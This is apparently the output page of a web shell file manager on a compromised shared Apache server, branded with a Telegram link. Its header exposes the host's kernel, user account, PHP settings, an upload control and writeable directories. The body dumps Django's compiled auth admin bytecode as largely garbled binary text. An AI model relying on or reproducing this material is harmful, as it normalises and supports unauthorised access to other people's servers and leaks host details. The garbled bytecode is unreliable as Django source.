https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/contrib/auth/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/contrib/auth/__pycache__/admin.cpython-310.pyc
o

3�a�!�@s:ddlmZddlmZmZddlmZddlmZddl	m
Z
ddlmZm
Z
mZddlmZmZddlmZdd	lmZmZdd
lmZmZddlmZddlmZmZdd
lm Z ddl!m"Z"ddl#m$Z$m%Z&ddl'm(Z(ddl)m*Z*e e(�Z+e e*��Z,e�-e�Gdd�dej.��Z/e�-e�Gdd�dej.��Z0dS)�)�settings)�admin�messages)�IS_POPUP_VAR)�unquote)�update_session_auth_hash)�AdminPasswordChangeForm�UserChangeForm�UserCreationForm)�Group�User)�PermissionDenied)�router�transaction)�Http404�HttpResponseRedirect)�TemplateResponse)�path�reverse)�method_decorator)�escape)�gettext�gettext_lazy)�csrf_protect)�sensitive_post_parameterscs*eZdZdZdZdZd�fdd�	Z�ZS)�
GroupAdmin��name)�permissionsNcsB|jdkr|�d|jjj�}|�d�|d<t�j|fd|i|��S)Nr�queryset�content_type�request)r�get�remote_field�model�objects�select_related�super�formfield_for_manytomany)�self�db_fieldr!�kwargs�qs��	__class__��;/usr/lib/python3/dist-packages/django/contrib/auth/admin.pyr(s
z#GroupAdmin.formfield_for_manytomany�N)�__name__�
__module__�__qualname__�
search_fields�ordering�filter_horizontalr(�
__classcell__r/r/r-r0rs
rcs�eZdZdZdZdddifed�ddifed�ddifed	�dd
iffZdddd
�ffZeZ	e
ZeZ
dZdZdZdZdZd$�fdd�	Zd$�fdd�	Z�fdd�Z�fdd�Zeed%dd���Zd%�fdd�	Zed&d d!��Zd$�fd"d#�	Z�ZS)'�	UserAdminzadmin/auth/user/add_form.htmlN�fields)�username�passwordz
Personal info)�
first_name�	last_name�email�Permissions)�	is_active�is_staff�is_superuser�groups�user_permissionszImportant dates)�
last_login�date_joined)�wide)r;�	password1�	password2)�classesr:)r;r?r=r>rB)rBrCrArD)r;r=r>r?)r;)rDrEcs|s|jSt��||�Sr1)�
add_fieldsetsr'�
get_fieldsets)r)r!�objr-r/r0rMCszUserAdmin.get_fieldsetscs6i}|dur|j|d<|�|�t�j||fi|��S)z7
        Use special form during user creation
        N�form)�add_form�updater'�get_form)r)r!rNr+�defaultsr-r/r0rRHs


zUserAdmin.get_formcs$td|j�|j�dd�gt���S)Nz<id>/password/�auth_user_password_changer)r�
admin_site�
admin_view�user_change_passwordr'�get_urls)r)r-r/r0rXRs���zUserAdmin.get_urlscs|�d�ot��||�S)Nr<)�
startswithr'�lookup_allowed)r)�lookup�valuer-r/r0rZ[szUserAdmin.lookup_allowed�cCsFtjt�|j�d��|�|||�Wd�S1swYdS)N)�using)r�atomicr�db_for_writer$�	_add_view)r)r!�form_url�
extra_contextr/r/r0�add_view_s$�zUserAdmin.add_viewcsj|�|�s|�|�rtjrtd��t�|duri}|jj�|jj	�}d|j
d�}|�|�t��
|||�S)Nz�Your user does not have the "Change user" permission. In order to add users, Django requires that your user account have both the "Add user" and "Change user" permissions set.r/)�auto_populated_fields�username_help_text)�has_change_permission�has_add_permissionr�DEBUGrr
r$�_meta�	get_field�USERNAME_FIELD�	help_textrQr'rd)r)r!rbrc�username_fieldrSr-r/r0raes
��
zUserAdmin._add_viewcCst|�|t|��}|�||�st�|dur$ttd�|jjjt	|�d���|j
dkrl|�||j�}|�
�rk|��|�||d�}|�|||�td�}t�||�t||j�ttd|jj|jj|jjf|jfd��Sn|�|�}ddt|j�ifg}tj �!||i�}	td�t	|�"��|	||t#|jvp�t#|j$vd	d
d
d	d
|jj|d
d	d�|j�%|��}
|jj|_&t'||j(p�d|
�S)
Nz8%(name)s object with primary key %(key)r does not exist.)r�key�POSTzPassword changed successfully.z%s:%s_%s_change)�argsr:zChange password: %sTF)�title�	adminFormrbrO�is_popup�add�change�has_delete_permissionrg�has_absolute_url�opts�original�save_as�	show_savez$admin/auth/user/change_password.html))�
get_objectrrgr
r�_r$rj�verbose_namer�method�change_password_formrp�is_valid�save�construct_change_message�
log_changerr�successr�userrrrUr�	app_label�
model_name�pk�list�base_fieldsr�helpers�	AdminForm�get_usernamer�GET�each_context�current_appr�change_user_password_template)r)r!�idrbr�rO�change_message�msg�	fieldsetsrs�contextr/r/r0rW�sp
�
����

�
�
�zUserAdmin.user_change_passwordcs:d|jvrt|jvr|j��|_d|jd<t��|||�S)z�
        Determine the HttpResponse for the add_view stage. It mostly defers to
        its superclass implementation but is customized because the User model
        has a slightly different workflow.
        �_addanother��	_continue)rpr�copyr'�response_add)r)r!rN�post_url_continuer-r/r0r��s
zUserAdmin.response_addr1)r]N)r])r2r3r4�add_form_templater�r~r�rLr	rOr
rPrr��list_display�list_filterr5r6r7rMrRrXrZ�sensitive_post_parameters_m�csrf_protect_mrdrarWr�r8r/r/r-r0r9(sD
��	��
	>r9N)1�django.confr�django.contribrr�django.contrib.admin.optionsr�django.contrib.admin.utilsr�django.contrib.authr�django.contrib.auth.formsrr	r
�django.contrib.auth.modelsrr�django.core.exceptionsr
�	django.dbrr�django.httprr�django.template.responser�django.urlsrr�django.utils.decoratorsr�django.utils.htmlr�django.utils.translationrrr~�django.views.decorators.csrfr�django.views.decorators.debugrr�r��register�
ModelAdminrr9r/r/r/r0�<module>s.


https://t.me/RX1948 - 2025